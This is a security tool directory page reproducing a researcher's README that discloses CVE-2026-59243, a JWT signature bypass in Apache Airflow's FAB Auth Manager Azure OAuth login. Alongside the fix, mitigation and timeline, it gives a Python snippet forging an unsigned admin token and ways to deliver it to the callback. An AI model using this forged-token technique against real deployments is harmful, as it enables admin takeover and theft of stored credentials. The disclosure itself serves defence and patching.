Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/malhyuk/cve-2026-59243
Authentication & AuthorizationVulnerability AnalysisWeb Application ExploitationAPI Security
GitHubmalhyuk/cve-2026-59243

CVE-2026-59243

Proof-of-concept for CVE-2026-59243 demonstrating JWT signature bypass in Apache Airflow FAB Auth Manager's Azure AD OAuth callback due to insecure default.

View Repository
51 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-59243 — Apache Airflow FAB Auth Manager JWT signature bypass

Korean: README.ko.md

  • Apache advisory: https://lists.apache.org/thread/x4784l7z00tl3gw4tv2dmvoon77rxgpl (published 2026-07-29)
  • CVE record: https://www.cve.org/CVERecord?id=CVE-2026-59243
  • Fixed in: apache-airflow-providers-fab==3.7.3
  • Class: CWE-347, pre-auth JWT signature verification bypass → Admin takeover
  • Reporter: MalHyuk (https://github.com/MalHyuk)

What broke

Apache Airflow's FAB (Flask App Builder) Auth Manager decodes Azure AD OAuth id_tokens in _decode_and_validate_azure_jwt(). That function had verify_signature defaulting to False.

root@kitploit:~
# providers/fab/.../override.py  (lines 2331–2341 at time of report)
def _decode_and_validate_azure_jwt(self, id_token: str) -> dict[str, str]:
    verify_signature = self.oauth_remotes["azure"].client_kwargs.get(
        "verify_signature", False,  # ← default is False
    )
    if verify_signature:
        # authlib JWK validation, return claims
        ...
    # default path: skip signature verification entirely
    return jwt.decode(id_token, options={"verify_signature": False})

Unless an operator explicitly sets verify_signature: true in client_kwargs, signature verification is off for the whole login flow. Whatever token arrives, its claims get accepted as the caller's identity.

The Authentik integration sitting in the same file defaults to True:

root@kitploit:~
# providers/fab/.../override.py:414–416  (Authentik)
verify_signature = self.oauth_remotes["authentik"].client_kwargs.get(
    "verify_signature", True,   # ← this one defaults to True
)

Same file, same shape, opposite default. That contrast is what first tipped me off that the Azure default wasn't a policy choice.

Attack scenario

Assume Airflow deployed with FAB Auth Manager + Azure AD OAuth, client_kwargs untouched. (The default install.)

Forge an alg: none JWT with whatever claims you want:

root@kitploit:~
import base64, json

def b64u(d):
    return base64.urlsafe_b64encode(json.dumps(d).encode()).rstrip(b"=").decode()

header  = b64u({"alg": "none", "typ": "JWT"})
payload = b64u({
    "sub":   "[email protected]",
    "email": "[email protected]",
    "name":  "Administrator",
    "roles": ["Admin"],
    "iss":   "https://login.microsoftonline.com/<tenant>/v2.0",
    "aud":   "<airflow-client-id>",
    "exp":   9999999999,
})
forged = f"{header}.{payload}."   # trailing dot: empty signature

Deliver that token to the OAuth callback (/login/azure/authorized or wherever the integration is mounted). How you actually deliver it varies by deployment: MITM through a misconfigured TLS-terminating proxy, an open redirector with lax redirect_uri validation, or hitting the callback directly with a crafted state. Pick whatever the target gives you.

The moment the token reaches the callback, FAB calls _decode_and_validate_azure_jwt, falls into the default path, and hands the forged claims to the session. Since you sent roles: ["Admin"], you're now logged in as Admin. On Airflow that's effectively everything: Connections, Variables, the Fernet key, and arbitrary code execution as the worker by pushing a new DAG.

Severity

Three different assessments landed in three different places, which is actually informative:

  • NVD (authoritative) — 9.8 CRITICAL  CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • My CVSS 3.1 — 8.1 High  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
  • My CVSS 4.0 — High  CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
  • Apache advisory — moderate

The delta between mine and NVD is one metric: AC. I marked it H because I was thinking of the MITM delivery path narrowly. NVD's analyst went with AC:L, treating any way of getting an id_token in front of the callback (including plain OAuth-flow abuse) as ordinary attacker capability. On reflection, AC:L is the more defensible reading — you don't strictly need to be on-path to abuse a broken signature check. That's why NVD/Strix land at 9.8, and it's the score that will show up in most CVE databases and scanners.

Apache's moderate is a separate judgment call from their own risk model, weighted more toward "how commonly does this precondition arise in real deployments" than toward the ceiling of impact. Not inconsistent with 9.8 — just a different question being answered.

Fix

One character.

root@kitploit:~
- verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", False)
+ verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature", True)

Aligns the Azure default with Authentik. If someone genuinely needs signature verification off (self-signed JWKS on an on-prem Azure AD replica, for example) they can still opt in with verify_signature: false in client_kwargs. Much better shape than shipping insecure by default.

Merged 2026-07-07 as PR #69374 / commit 54259ae. Released in apache-airflow-providers-fab==3.7.3 on 2026-07-28.

If you can't upgrade right away, set it explicitly in webserver_config.py:

root@kitploit:~
OAUTH_PROVIDERS = [
    {
        "name": "azure",
        "client_kwargs": {"verify_signature": True, ...},
        # ...
    },
]

Beyond that: keep OAuth callbacks HTTPS-only with strict redirect_uri allow-listing, and rotate any credentials held in Airflow Connections if you have reason to think you were hit.

Reproduce

Docker + pwntools set under poc/:

  • poc/server.py isolates the vulnerable path (jwt.decode(..., options={"verify_signature": False})) in a tiny Flask app.
  • poc/exploit_airflow_jwt.py forges the JWT, hits the callback, and dumps placeholder secrets from the admin view.
  • poc/Dockerfile and poc/docker-compose.yml bring the target up on 127.0.0.1:5002 (loopback bind).

Single command:

root@kitploit:~
cd poc/
./run.sh

If you're running this on a shared box, check the compose bind before starting.

Line reference map

Unrelated refactors shifted line numbers between the original report and current main. File path is unchanged.

File: providers/fab/src/airflow/providers/fab/auth_manager/security_manager/override.py

Timeline

Layout

root@kitploit:~
CVE-2026-59243/
├── README.md              (this file)
├── README.ko.md           Korean version
├── LICENSE                MIT
├── check_advisory.sh      publication watcher (kept for reuse; currently idle)
├── patch/fix.diff         one-character fix (anchored to report-time lines)
└── poc/                   Docker + pwntools PoC

Credit / contact

  • Finder: MalHyuk — https://github.com/MalHyuk
  • Vendor: [email protected]
  • CNA: Apache Software Foundation

License

MIT (LICENSE). The PoC is for reproduction and defensive research only. Don't point it at systems you don't own or don't have written authorization to test.

Download Tool
SymbolAt report (2026-03-18)In fixed main (2026-07-29)
_decode_and_validate_azure_jwt()2331–2341 (default False, vulnerable)2428–2438 (default True, fixed)
_get_authentik_token_info()414–416 (default True, safe)419–420 (default True, safe)
DateEvent
2026-03-18Reported to [email protected]
2026-03 through 2026-07Delay on Apache's side; an Airflow PMC member later confirmed the initial report was missed
2026-07-03First response
2026-07-04CVE-2026-59243 assigned, credit info sent
2026-07-07Fix merged (commit 54259ae, PR #69374)
2026-07-28apache-airflow-providers-fab==3.7.3 released
2026-07-29MITRE CVE record PUBLISHED, Apache advisory posted to [email protected]
2026-07-29This repository flipped to public